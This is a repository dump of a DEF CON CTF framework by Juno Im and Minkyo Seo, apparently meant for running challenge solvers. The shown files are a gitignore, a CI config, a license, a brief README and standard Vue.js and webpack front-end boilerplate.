├── .gitignore
├── .gitlab-ci.yml
├── LICENSE
├── README.md
├── demo.png
├── front
├── .babelrc
├── .editorconfig
├── .postcssrc.js
├── README.md
├── build
│ ├── build.js
│ ├── check-versions.js
│ ├── logo.png
│ ├── utils.js
│ ├── vue-loader.conf.js
│ ├── webpack.base.conf.js
│ ├── webpack.dev.conf.js
│ └── webpack.prod.conf.js
├── config
│ ├── dev.env.js
│ ├── index.js
│ └── prod.env.js
├── index.html
├── package-lock.json
├── package.json
├── src
│ ├── App.vue
│ ├── assets
│ │ └── logo.png
│ ├── components
│ │ └── HelloWorld.vue
│ ├── main.js
│ ├── raw-displayer.vue
│ └── router
│ │ └── index.js
└── static
│ └── .gitkeep
└── worker
├── basic_settings.py
├── challenges
└── combabo
│ ├── conf.json
│ └── ex1
│ ├── mno2
│ ├── run.sh
│ └── solve.py
├── conf_example2.json
├── exm
├── __init__.py
├── conf
│ └── __init__.py
├── run_tests.py
├── tests
│ ├── __init__.py
│ ├── test_ci.py
│ ├── test_get_conf.py
│ └── test_getsetting.py
└── utils.py
├── go.py
├── manual.py
├── readme.md
├── refactor.py
├── requirements.txt
├── run.sh
├── run_celery.sh
├── run_server.sh
├── server.py
└── tasks.py
/.gitignore:
--------------------------------------------------------------------------------
1 | *.pyc
2 | __pycache__
3 | log.txt
4 | .venv/
5 | .vscode/
6 |
7 | conf_example.json
8 |
9 | *.swp
10 |
11 |
12 | # Created by https://www.gitignore.io/api/vue,node,vuejs
13 | # Edit at https://www.gitignore.io/?templates=vue,node,vuejs
14 |
15 | ### Node ###
16 | # Logs
17 | logs
18 | *.log
19 | npm-debug.log*
20 | yarn-debug.log*
21 | yarn-error.log*
22 | lerna-debug.log*
23 |
24 | # Diagnostic reports (https://nodejs.org/api/report.html)
25 | report.[0-9]*.[0-9]*.[0-9]*.[0-9]*.json
26 |
27 | # Runtime data
28 | pids
29 | *.pid
30 | *.seed
31 | *.pid.lock
32 |
33 | # Directory for instrumented libs generated by jscoverage/JSCover
34 | lib-cov
35 |
36 | # Coverage directory used by tools like istanbul
37 | coverage
38 | *.lcov
39 |
40 | # nyc test coverage
41 | .nyc_output
42 |
43 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files)
44 | .grunt
45 |
46 | # Bower dependency directory (https://bower.io/)
47 | bower_components
48 |
49 | # node-waf configuration
50 | .lock-wscript
51 |
52 | # Compiled binary addons (https://nodejs.org/api/addons.html)
53 | build/Release
54 |
55 | # Dependency directories
56 | node_modules/
57 | jspm_packages/
58 |
59 | # TypeScript v1 declaration files
60 | typings/
61 |
62 | # TypeScript cache
63 | *.tsbuildinfo
64 |
65 | # Optional npm cache directory
66 | .npm
67 |
68 | # Optional eslint cache
69 | .eslintcache
70 |
71 | # Optional REPL history
72 | .node_repl_history
73 |
74 | # Output of 'npm pack'
75 | *.tgz
76 |
77 | # Yarn Integrity file
78 | .yarn-integrity
79 |
80 | # dotenv environment variables file
81 | .env
82 | .env.test
83 |
84 | # parcel-bundler cache (https://parceljs.org/)
85 | .cache
86 |
87 | # next.js build output
88 | .next
89 |
90 | # nuxt.js build output
91 | .nuxt
92 |
93 | # vuepress build output
94 | .vuepress/dist
95 |
96 | # Serverless directories
97 | .serverless/
98 |
99 | # FuseBox cache
100 | .fusebox/
101 |
102 | # DynamoDB Local files
103 | .dynamodb/
104 |
105 | ### Vue ###
106 | # gitignore template for Vue.js projects
107 | #
108 | # Recommended template: Node.gitignore
109 |
110 | # TODO: where does this rule come from?
111 | docs/_book
112 |
113 | # TODO: where does this rule come from?
114 | test/
115 |
116 | ### Vuejs ###
117 | # Recommended template: Node.gitignore
118 |
119 | dist/
120 | npm-debug.log
121 | yarn-error.log
122 |
123 | # End of https://www.gitignore.io/api/vue,node,vuejs
124 |
--------------------------------------------------------------------------------
/.gitlab-ci.yml:
--------------------------------------------------------------------------------
1 | test:
2 | image: python:3.7-stretch
3 | before_script:
4 | - pip install -r requirements.txt
5 | script:
6 | - export SETTING_PATH=`pwd`/basic_settings.py
7 | - export CONF_PATH=`pwd`/conf_example2.json
8 | - python3.7 -m unittest discover exm.tests -v
9 | only:
10 | - merge_requests
11 |
12 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | The MIT License
2 |
3 | Copyright (c) 2019 Juno Im. https://x.imjuno.com/
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in
13 | all copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
21 | THE SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Defcon Framework
2 | defcon framework by SeoulPlusBadass
3 |
4 | # Author
5 |
6 | Juno Im (@junorouse) & Minkyo Seo (@aka_saika)
7 |
8 | # Demo
9 |
10 | 
--------------------------------------------------------------------------------
/demo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/junorouse/defcon27-framework/e0b6855249b096835cd885962ed17aa2304da939/demo.png
--------------------------------------------------------------------------------
/front/.babelrc:
--------------------------------------------------------------------------------
1 | {
2 | "presets": [
3 | ["env", {
4 | "modules": false,
5 | "targets": {
6 | "browsers": ["> 1%", "last 2 versions", "not ie <= 8"]
7 | }
8 | }],
9 | "stage-2"
10 | ],
11 | "plugins": ["transform-vue-jsx", "transform-runtime"]
12 | }
13 |
--------------------------------------------------------------------------------
/front/.editorconfig:
--------------------------------------------------------------------------------
1 | root = true
2 |
3 | [*]
4 | charset = utf-8
5 | indent_style = space
6 | indent_size = 2
7 | end_of_line = lf
8 | insert_final_newline = true
9 | trim_trailing_whitespace = true
10 |
--------------------------------------------------------------------------------
/front/.postcssrc.js:
--------------------------------------------------------------------------------
1 | // https://github.com/michael-ciniawsky/postcss-load-config
2 |
3 | module.exports = {
4 | "plugins": {
5 | "postcss-import": {},
6 | "postcss-url": {},
7 | // to edit target browsers: use "browserslist" field in package.json
8 | "autoprefixer": {}
9 | }
10 | }
11 |
--------------------------------------------------------------------------------
/front/README.md:
--------------------------------------------------------------------------------
1 | # conf-web
2 |
3 | > A Vue.js project
4 |
5 | ## Build Setup
6 |
7 | ``` bash
8 | # install dependencies
9 | npm install
10 |
11 | # serve with hot reload at localhost:8080
12 | npm run dev
13 |
14 | # build for production with minification
15 | npm run build
16 |
17 | # build for production and view the bundle analyzer report
18 | npm run build --report
19 | ```
20 |
21 | For a detailed explanation on how things work, check out the [guide](http://vuejs-templates.github.io/webpack/) and [docs for vue-loader](http://vuejs.github.io/vue-loader).
22 |
--------------------------------------------------------------------------------
/front/build/build.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 | require('./check-versions')()
3 |
4 | process.env.NODE_ENV = 'production'
5 |
6 | const ora = require('ora')
7 | const rm = require('rimraf')
8 | const path = require('path')
9 | const chalk = require('chalk')
10 | const webpack = require('webpack')
11 | const config = require('../config')
12 | const webpackConfig = require('./webpack.prod.conf')
13 |
14 | const spinner = ora('building for production...')
15 | spinner.start()
16 |
17 | rm(path.join(config.build.assetsRoot, config.build.assetsSubDirectory), err => {
18 | if (err) throw err
19 | webpack(webpackConfig, (err, stats) => {
20 | spinner.stop()
21 | if (err) throw err
22 | process.stdout.write(stats.toString({
23 | colors: true,
24 | modules: false,
25 | children: false, // If you are using ts-loader, setting this to true will make TypeScript errors show up during build.
26 | chunks: false,
27 | chunkModules: false
28 | }) + '\n\n')
29 |
30 | if (stats.hasErrors()) {
31 | console.log(chalk.red(' Build failed with errors.\n'))
32 | process.exit(1)
33 | }
34 |
35 | console.log(chalk.cyan(' Build complete.\n'))
36 | console.log(chalk.yellow(
37 | ' Tip: built files are meant to be served over an HTTP server.\n' +
38 | ' Opening index.html over file:// won\'t work.\n'
39 | ))
40 | })
41 | })
42 |
--------------------------------------------------------------------------------
/front/build/check-versions.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 | const chalk = require('chalk')
3 | const semver = require('semver')
4 | const packageConfig = require('../package.json')
5 | const shell = require('shelljs')
6 |
7 | function exec (cmd) {
8 | return require('child_process').execSync(cmd).toString().trim()
9 | }
10 |
11 | const versionRequirements = [
12 | {
13 | name: 'node',
14 | currentVersion: semver.clean(process.version),
15 | versionRequirement: packageConfig.engines.node
16 | }
17 | ]
18 |
19 | if (shell.which('npm')) {
20 | versionRequirements.push({
21 | name: 'npm',
22 | currentVersion: exec('npm --version'),
23 | versionRequirement: packageConfig.engines.npm
24 | })
25 | }
26 |
27 | module.exports = function () {
28 | const warnings = []
29 |
30 | for (let i = 0; i < versionRequirements.length; i++) {
31 | const mod = versionRequirements[i]
32 |
33 | if (!semver.satisfies(mod.currentVersion, mod.versionRequirement)) {
34 | warnings.push(mod.name + ': ' +
35 | chalk.red(mod.currentVersion) + ' should be ' +
36 | chalk.green(mod.versionRequirement)
37 | )
38 | }
39 | }
40 |
41 | if (warnings.length) {
42 | console.log('')
43 | console.log(chalk.yellow('To use this template, you must update following to modules:'))
44 | console.log()
45 |
46 | for (let i = 0; i < warnings.length; i++) {
47 | const warning = warnings[i]
48 | console.log(' ' + warning)
49 | }
50 |
51 | console.log()
52 | process.exit(1)
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/front/build/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/junorouse/defcon27-framework/e0b6855249b096835cd885962ed17aa2304da939/front/build/logo.png
--------------------------------------------------------------------------------
/front/build/utils.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 | const path = require('path')
3 | const config = require('../config')
4 | const ExtractTextPlugin = require('extract-text-webpack-plugin')
5 | const packageConfig = require('../package.json')
6 |
7 | exports.assetsPath = function (_path) {
8 | const assetsSubDirectory = process.env.NODE_ENV === 'production'
9 | ? config.build.assetsSubDirectory
10 | : config.dev.assetsSubDirectory
11 |
12 | return path.posix.join(assetsSubDirectory, _path)
13 | }
14 |
15 | exports.cssLoaders = function (options) {
16 | options = options || {}
17 |
18 | const cssLoader = {
19 | loader: 'css-loader',
20 | options: {
21 | sourceMap: options.sourceMap
22 | }
23 | }
24 |
25 | const postcssLoader = {
26 | loader: 'postcss-loader',
27 | options: {
28 | sourceMap: options.sourceMap
29 | }
30 | }
31 |
32 | // generate loader string to be used with extract text plugin
33 | function generateLoaders (loader, loaderOptions) {
34 | const loaders = options.usePostCSS ? [cssLoader, postcssLoader] : [cssLoader]
35 |
36 | if (loader) {
37 | loaders.push({
38 | loader: loader + '-loader',
39 | options: Object.assign({}, loaderOptions, {
40 | sourceMap: options.sourceMap
41 | })
42 | })
43 | }
44 |
45 | // Extract CSS when that option is specified
46 | // (which is the case during production build)
47 | if (options.extract) {
48 | return ExtractTextPlugin.extract({
49 | use: loaders,
50 | fallback: 'vue-style-loader'
51 | })
52 | } else {
53 | return ['vue-style-loader'].concat(loaders)
54 | }
55 | }
56 |
57 | // https://vue-loader.vuejs.org/en/configurations/extract-css.html
58 | return {
59 | css: generateLoaders(),
60 | postcss: generateLoaders(),
61 | less: generateLoaders('less'),
62 | sass: generateLoaders('sass', { indentedSyntax: true }),
63 | scss: generateLoaders('sass'),
64 | stylus: generateLoaders('stylus'),
65 | styl: generateLoaders('stylus')
66 | }
67 | }
68 |
69 | // Generate loaders for standalone style files (outside of .vue)
70 | exports.styleLoaders = function (options) {
71 | const output = []
72 | const loaders = exports.cssLoaders(options)
73 |
74 | for (const extension in loaders) {
75 | const loader = loaders[extension]
76 | output.push({
77 | test: new RegExp('\\.' + extension + '$'),
78 | use: loader
79 | })
80 | }
81 |
82 | return output
83 | }
84 |
85 | exports.createNotifierCallback = () => {
86 | const notifier = require('node-notifier')
87 |
88 | return (severity, errors) => {
89 | if (severity !== 'error') return
90 |
91 | const error = errors[0]
92 | const filename = error.file && error.file.split('!').pop()
93 |
94 | notifier.notify({
95 | title: packageConfig.name,
96 | message: severity + ': ' + error.name,
97 | subtitle: filename || '',
98 | icon: path.join(__dirname, 'logo.png')
99 | })
100 | }
101 | }
102 |
--------------------------------------------------------------------------------
/front/build/vue-loader.conf.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 | const utils = require('./utils')
3 | const config = require('../config')
4 | const isProduction = process.env.NODE_ENV === 'production'
5 | const sourceMapEnabled = isProduction
6 | ? config.build.productionSourceMap
7 | : config.dev.cssSourceMap
8 |
9 | module.exports = {
10 | loaders: utils.cssLoaders({
11 | sourceMap: sourceMapEnabled,
12 | extract: isProduction
13 | }),
14 | cssSourceMap: sourceMapEnabled,
15 | cacheBusting: config.dev.cacheBusting,
16 | transformToRequire: {
17 | video: ['src', 'poster'],
18 | source: 'src',
19 | img: 'src',
20 | image: 'xlink:href'
21 | }
22 | }
23 |
--------------------------------------------------------------------------------
/front/build/webpack.base.conf.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 | const path = require('path')
3 | const utils = require('./utils')
4 | const config = require('../config')
5 | const vueLoaderConfig = require('./vue-loader.conf')
6 |
7 | function resolve (dir) {
8 | return path.join(__dirname, '..', dir)
9 | }
10 |
11 |
12 |
13 | module.exports = {
14 | context: path.resolve(__dirname, '../'),
15 | entry: {
16 | app: './src/main.js'
17 | },
18 | output: {
19 | path: config.build.assetsRoot,
20 | filename: '[name].js',
21 | publicPath: process.env.NODE_ENV === 'production'
22 | ? config.build.assetsPublicPath
23 | : config.dev.assetsPublicPath
24 | },
25 | resolve: {
26 | extensions: ['.js', '.vue', '.json'],
27 | alias: {
28 | 'vue$': 'vue/dist/vue.esm.js',
29 | '@': resolve('src'),
30 | }
31 | },
32 | module: {
33 | rules: [
34 | {
35 | test: /\.vue$/,
36 | loader: 'vue-loader',
37 | options: vueLoaderConfig
38 | },
39 | {
40 | test: /\.js$/,
41 | loader: 'babel-loader',
42 | include: [resolve('src'), resolve('test'), resolve('node_modules/webpack-dev-server/client')]
43 | },
44 | {
45 | test: /\.(png|jpe?g|gif|svg)(\?.*)?$/,
46 | loader: 'url-loader',
47 | options: {
48 | limit: 10000,
49 | name: utils.assetsPath('img/[name].[hash:7].[ext]')
50 | }
51 | },
52 | {
53 | test: /\.(mp4|webm|ogg|mp3|wav|flac|aac)(\?.*)?$/,
54 | loader: 'url-loader',
55 | options: {
56 | limit: 10000,
57 | name: utils.assetsPath('media/[name].[hash:7].[ext]')
58 | }
59 | },
60 | {
61 | test: /\.(woff2?|eot|ttf|otf)(\?.*)?$/,
62 | loader: 'url-loader',
63 | options: {
64 | limit: 10000,
65 | name: utils.assetsPath('fonts/[name].[hash:7].[ext]')
66 | }
67 | }
68 | ]
69 | },
70 | node: {
71 | // prevent webpack from injecting useless setImmediate polyfill because Vue
72 | // source contains it (although only uses it if it's native).
73 | setImmediate: false,
74 | // prevent webpack from injecting mocks to Node native modules
75 | // that does not make sense for the client
76 | dgram: 'empty',
77 | fs: 'empty',
78 | net: 'empty',
79 | tls: 'empty',
80 | child_process: 'empty'
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/front/build/webpack.dev.conf.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 | const utils = require('./utils')
3 | const webpack = require('webpack')
4 | const config = require('../config')
5 | const merge = require('webpack-merge')
6 | const path = require('path')
7 | const baseWebpackConfig = require('./webpack.base.conf')
8 | const CopyWebpackPlugin = require('copy-webpack-plugin')
9 | const HtmlWebpackPlugin = require('html-webpack-plugin')
10 | const FriendlyErrorsPlugin = require('friendly-errors-webpack-plugin')
11 | const portfinder = require('portfinder')
12 |
13 | const HOST = process.env.HOST
14 | const PORT = process.env.PORT && Number(process.env.PORT)
15 |
16 | const devWebpackConfig = merge(baseWebpackConfig, {
17 | module: {
18 | rules: utils.styleLoaders({ sourceMap: config.dev.cssSourceMap, usePostCSS: true })
19 | },
20 | // cheap-module-eval-source-map is faster for development
21 | devtool: config.dev.devtool,
22 |
23 | // these devServer options should be customized in /config/index.js
24 | devServer: {
25 | clientLogLevel: 'warning',
26 | historyApiFallback: {
27 | rewrites: [
28 | { from: /.*/, to: path.posix.join(config.dev.assetsPublicPath, 'index.html') },
29 | ],
30 | },
31 | hot: true,
32 | contentBase: false, // since we use CopyWebpackPlugin.
33 | compress: true,
34 | host: HOST || config.dev.host,
35 | port: PORT || config.dev.port,
36 | open: config.dev.autoOpenBrowser,
37 | overlay: config.dev.errorOverlay
38 | ? { warnings: false, errors: true }
39 | : false,
40 | publicPath: config.dev.assetsPublicPath,
41 | proxy: config.dev.proxyTable,
42 | quiet: true, // necessary for FriendlyErrorsPlugin
43 | watchOptions: {
44 | poll: config.dev.poll,
45 | }
46 | },
47 | plugins: [
48 | new webpack.DefinePlugin({
49 | 'process.env': require('../config/dev.env')
50 | }),
51 | new webpack.HotModuleReplacementPlugin(),
52 | new webpack.NamedModulesPlugin(), // HMR shows correct file names in console on update.
53 | new webpack.NoEmitOnErrorsPlugin(),
54 | // https://github.com/ampedandwired/html-webpack-plugin
55 | new HtmlWebpackPlugin({
56 | filename: 'index.html',
57 | template: 'index.html',
58 | inject: true
59 | }),
60 | // copy custom static assets
61 | new CopyWebpackPlugin([
62 | {
63 | from: path.resolve(__dirname, '../static'),
64 | to: config.dev.assetsSubDirectory,
65 | ignore: ['.*']
66 | }
67 | ])
68 | ]
69 | })
70 |
71 | module.exports = new Promise((resolve, reject) => {
72 | portfinder.basePort = process.env.PORT || config.dev.port
73 | portfinder.getPort((err, port) => {
74 | if (err) {
75 | reject(err)
76 | } else {
77 | // publish the new Port, necessary for e2e tests
78 | process.env.PORT = port
79 | // add port to devServer config
80 | devWebpackConfig.devServer.port = port
81 |
82 | // Add FriendlyErrorsPlugin
83 | devWebpackConfig.plugins.push(new FriendlyErrorsPlugin({
84 | compilationSuccessInfo: {
85 | messages: [`Your application is running here: http://${devWebpackConfig.devServer.host}:${port}`],
86 | },
87 | onErrors: config.dev.notifyOnErrors
88 | ? utils.createNotifierCallback()
89 | : undefined
90 | }))
91 |
92 | resolve(devWebpackConfig)
93 | }
94 | })
95 | })
96 |
--------------------------------------------------------------------------------
/front/build/webpack.prod.conf.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 | const path = require('path')
3 | const utils = require('./utils')
4 | const webpack = require('webpack')
5 | const config = require('../config')
6 | const merge = require('webpack-merge')
7 | const baseWebpackConfig = require('./webpack.base.conf')
8 | const CopyWebpackPlugin = require('copy-webpack-plugin')
9 | const HtmlWebpackPlugin = require('html-webpack-plugin')
10 | const ExtractTextPlugin = require('extract-text-webpack-plugin')
11 | const OptimizeCSSPlugin = require('optimize-css-assets-webpack-plugin')
12 | const UglifyJsPlugin = require('uglifyjs-webpack-plugin')
13 |
14 | const env = require('../config/prod.env')
15 |
16 | const webpackConfig = merge(baseWebpackConfig, {
17 | module: {
18 | rules: utils.styleLoaders({
19 | sourceMap: config.build.productionSourceMap,
20 | extract: true,
21 | usePostCSS: true
22 | })
23 | },
24 | devtool: config.build.productionSourceMap ? config.build.devtool : false,
25 | output: {
26 | path: config.build.assetsRoot,
27 | filename: utils.assetsPath('js/[name].[chunkhash].js'),
28 | chunkFilename: utils.assetsPath('js/[id].[chunkhash].js')
29 | },
30 | plugins: [
31 | // http://vuejs.github.io/vue-loader/en/workflow/production.html
32 | new webpack.DefinePlugin({
33 | 'process.env': env
34 | }),
35 | new UglifyJsPlugin({
36 | uglifyOptions: {
37 | compress: {
38 | warnings: false
39 | }
40 | },
41 | sourceMap: config.build.productionSourceMap,
42 | parallel: true
43 | }),
44 | // extract css into its own file
45 | new ExtractTextPlugin({
46 | filename: utils.assetsPath('css/[name].[contenthash].css'),
47 | // Setting the following option to `false` will not extract CSS from codesplit chunks.
48 | // Their CSS will instead be inserted dynamically with style-loader when the codesplit chunk has been loaded by webpack.
49 | // It's currently set to `true` because we are seeing that sourcemaps are included in the codesplit bundle as well when it's `false`,
50 | // increasing file size: https://github.com/vuejs-templates/webpack/issues/1110
51 | allChunks: true,
52 | }),
53 | // Compress extracted CSS. We are using this plugin so that possible
54 | // duplicated CSS from different components can be deduped.
55 | new OptimizeCSSPlugin({
56 | cssProcessorOptions: config.build.productionSourceMap
57 | ? { safe: true, map: { inline: false } }
58 | : { safe: true }
59 | }),
60 | // generate dist index.html with correct asset hash for caching.
61 | // you can customize output by editing /index.html
62 | // see https://github.com/ampedandwired/html-webpack-plugin
63 | new HtmlWebpackPlugin({
64 | filename: config.build.index,
65 | template: 'index.html',
66 | inject: true,
67 | minify: {
68 | removeComments: true,
69 | collapseWhitespace: true,
70 | removeAttributeQuotes: true
71 | // more options:
72 | // https://github.com/kangax/html-minifier#options-quick-reference
73 | },
74 | // necessary to consistently work with multiple chunks via CommonsChunkPlugin
75 | chunksSortMode: 'dependency'
76 | }),
77 | // keep module.id stable when vendor modules does not change
78 | new webpack.HashedModuleIdsPlugin(),
79 | // enable scope hoisting
80 | new webpack.optimize.ModuleConcatenationPlugin(),
81 | // split vendor js into its own file
82 | new webpack.optimize.CommonsChunkPlugin({
83 | name: 'vendor',
84 | minChunks (module) {
85 | // any required modules inside node_modules are extracted to vendor
86 | return (
87 | module.resource &&
88 | /\.js$/.test(module.resource) &&
89 | module.resource.indexOf(
90 | path.join(__dirname, '../node_modules')
91 | ) === 0
92 | )
93 | }
94 | }),
95 | // extract webpack runtime and module manifest to its own file in order to
96 | // prevent vendor hash from being updated whenever app bundle is updated
97 | new webpack.optimize.CommonsChunkPlugin({
98 | name: 'manifest',
99 | minChunks: Infinity
100 | }),
101 | // This instance extracts shared chunks from code splitted chunks and bundles them
102 | // in a separate chunk, similar to the vendor chunk
103 | // see: https://webpack.js.org/plugins/commons-chunk-plugin/#extra-async-commons-chunk
104 | new webpack.optimize.CommonsChunkPlugin({
105 | name: 'app',
106 | async: 'vendor-async',
107 | children: true,
108 | minChunks: 3
109 | }),
110 |
111 | // copy custom static assets
112 | new CopyWebpackPlugin([
113 | {
114 | from: path.resolve(__dirname, '../static'),
115 | to: config.build.assetsSubDirectory,
116 | ignore: ['.*']
117 | }
118 | ])
119 | ]
120 | })
121 |
122 | if (config.build.productionGzip) {
123 | const CompressionWebpackPlugin = require('compression-webpack-plugin')
124 |
125 | webpackConfig.plugins.push(
126 | new CompressionWebpackPlugin({
127 | asset: '[path].gz[query]',
128 | algorithm: 'gzip',
129 | test: new RegExp(
130 | '\\.(' +
131 | config.build.productionGzipExtensions.join('|') +
132 | ')$'
133 | ),
134 | threshold: 10240,
135 | minRatio: 0.8
136 | })
137 | )
138 | }
139 |
140 | if (config.build.bundleAnalyzerReport) {
141 | const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin
142 | webpackConfig.plugins.push(new BundleAnalyzerPlugin())
143 | }
144 |
145 | module.exports = webpackConfig
146 |
--------------------------------------------------------------------------------
/front/config/dev.env.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 | const merge = require('webpack-merge')
3 | const prodEnv = require('./prod.env')
4 |
5 | module.exports = merge(prodEnv, {
6 | NODE_ENV: '"development"'
7 | })
8 |
--------------------------------------------------------------------------------
/front/config/index.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 | // Template version: 1.3.1
3 | // see http://vuejs-templates.github.io/webpack for documentation.
4 |
5 | const path = require('path')
6 |
7 | module.exports = {
8 | dev: {
9 |
10 | // Paths
11 | assetsSubDirectory: 'static',
12 | assetsPublicPath: '/',
13 | proxyTable: {},
14 |
15 | // Various Dev Server settings
16 | host: 'localhost', // can be overwritten by process.env.HOST
17 | port: 8080, // can be overwritten by process.env.PORT, if port is in use, a free one will be determined
18 | autoOpenBrowser: false,
19 | errorOverlay: true,
20 | notifyOnErrors: true,
21 | poll: false, // https://webpack.js.org/configuration/dev-server/#devserver-watchoptions-
22 |
23 |
24 | /**
25 | * Source Maps
26 | */
27 |
28 | // https://webpack.js.org/configuration/devtool/#development
29 | devtool: 'cheap-module-eval-source-map',
30 |
31 | // If you have problems debugging vue-files in devtools,
32 | // set this to false - it *may* help
33 | // https://vue-loader.vuejs.org/en/options.html#cachebusting
34 | cacheBusting: true,
35 |
36 | cssSourceMap: true
37 | },
38 |
39 | build: {
40 | // Template for index.html
41 | index: path.resolve(__dirname, '../dist/index.html'),
42 |
43 | // Paths
44 | assetsRoot: path.resolve(__dirname, '../dist'),
45 | assetsSubDirectory: 'static',
46 | assetsPublicPath: '/',
47 |
48 | /**
49 | * Source Maps
50 | */
51 |
52 | productionSourceMap: true,
53 | // https://webpack.js.org/configuration/devtool/#production
54 | devtool: '#source-map',
55 |
56 | // Gzip off by default as many popular static hosts such as
57 | // Surge or Netlify already gzip all static assets for you.
58 | // Before setting to `true`, make sure to:
59 | // npm install --save-dev compression-webpack-plugin
60 | productionGzip: false,
61 | productionGzipExtensions: ['js', 'css'],
62 |
63 | // Run the build command with an extra argument to
64 | // View the bundle analyzer report after build finishes:
65 | // `npm run build --report`
66 | // Set to `true` or `false` to always turn it on or off
67 | bundleAnalyzerReport: process.env.npm_config_report
68 | }
69 | }
70 |
--------------------------------------------------------------------------------
/front/config/prod.env.js:
--------------------------------------------------------------------------------
1 | 'use strict'
2 | module.exports = {
3 | NODE_ENV: '"production"'
4 | }
5 |
--------------------------------------------------------------------------------
/front/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 | conf-web
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/front/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "conf-web",
3 | "version": "1.0.0",
4 | "description": "A Vue.js project",
5 | "author": "Juno Im ",
6 | "private": true,
7 | "scripts": {
8 | "dev": "webpack-dev-server --inline --progress --config build/webpack.dev.conf.js",
9 | "start": "npm run dev",
10 | "build": "node build/build.js"
11 | },
12 | "dependencies": {
13 | "bootstrap": "^4.3.1",
14 | "bootstrap-vue": "^2.0.0-rc.27",
15 | "element-ui": "^2.11.1",
16 | "jquery": "^3.5.0",
17 | "vue": "^2.5.2",
18 | "vue-router": "^3.0.1",
19 | "vuedraggable": "^2.23.0",
20 | "vuex": "^3.1.1"
21 | },
22 | "devDependencies": {
23 | "autoprefixer": "^7.1.2",
24 | "babel-core": "^6.22.1",
25 | "babel-helper-vue-jsx-merge-props": "^2.0.3",
26 | "babel-loader": "^7.1.1",
27 | "babel-plugin-syntax-jsx": "^6.18.0",
28 | "babel-plugin-transform-runtime": "^6.22.0",
29 | "babel-plugin-transform-vue-jsx": "^3.5.0",
30 | "babel-preset-env": "^1.3.2",
31 | "babel-preset-stage-2": "^6.22.0",
32 | "chalk": "^2.0.1",
33 | "copy-webpack-plugin": "^4.0.1",
34 | "css-loader": "^0.28.0",
35 | "extract-text-webpack-plugin": "^3.0.0",
36 | "file-loader": "^1.1.4",
37 | "friendly-errors-webpack-plugin": "^1.6.1",
38 | "html-webpack-plugin": "^2.30.1",
39 | "node-notifier": "^8.0.1",
40 | "optimize-css-assets-webpack-plugin": "^3.2.0",
41 | "ora": "^1.2.0",
42 | "portfinder": "^1.0.13",
43 | "postcss-import": "^11.0.0",
44 | "postcss-loader": "^2.0.8",
45 | "postcss-url": "^7.2.1",
46 | "rimraf": "^2.6.0",
47 | "semver": "^5.3.0",
48 | "shelljs": "^0.7.6",
49 | "uglifyjs-webpack-plugin": "^1.1.1",
50 | "url-loader": "^0.5.8",
51 | "vue-loader": "^13.3.0",
52 | "vue-style-loader": "^3.0.1",
53 | "vue-template-compiler": "^2.5.2",
54 | "webpack": "^3.6.0",
55 | "webpack-bundle-analyzer": "^3.3.2",
56 | "webpack-dev-server": "^3.1.11",
57 | "webpack-merge": "^4.1.0"
58 | },
59 | "engines": {
60 | "node": ">= 6.0.0",
61 | "npm": ">= 3.0.0"
62 | },
63 | "browserslist": [
64 | "> 1%",
65 | "last 2 versions",
66 | "not ie <= 8"
67 | ]
68 | }
69 |
--------------------------------------------------------------------------------
/front/src/App.vue:
--------------------------------------------------------------------------------
1 |
2 |
58 |
59 |
60 |
215 |
--------------------------------------------------------------------------------
/front/src/assets/logo.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/junorouse/defcon27-framework/e0b6855249b096835cd885962ed17aa2304da939/front/src/assets/logo.png
--------------------------------------------------------------------------------
/front/src/components/HelloWorld.vue:
--------------------------------------------------------------------------------
1 |
2 |
3 |
{{ msg }}
4 |
Essential Links
5 |
48 |
Ecosystem
49 |
83 |
84 |
85 |
86 |
96 |
97 |
98 |
114 |
--------------------------------------------------------------------------------
/front/src/main.js:
--------------------------------------------------------------------------------
1 | // The Vue build version to load with the `import` command
2 | // (runtime-only or standalone) has been set in webpack.base.conf with an alias.
3 | import Vue from 'vue'
4 | import App from './App'
5 | import rawDisplayer from "./raw-displayer";
6 | import router from './router'
7 | import ElementUI from "element-ui";
8 | import "bootstrap/dist/css/bootstrap.min.css";
9 | require("bootstrap");
10 |
11 |
12 |
13 |
14 | Vue.config.productionTip = false
15 |
16 | Vue.component("rawDisplayer", rawDisplayer);
17 |
18 | /* eslint-disable no-new */
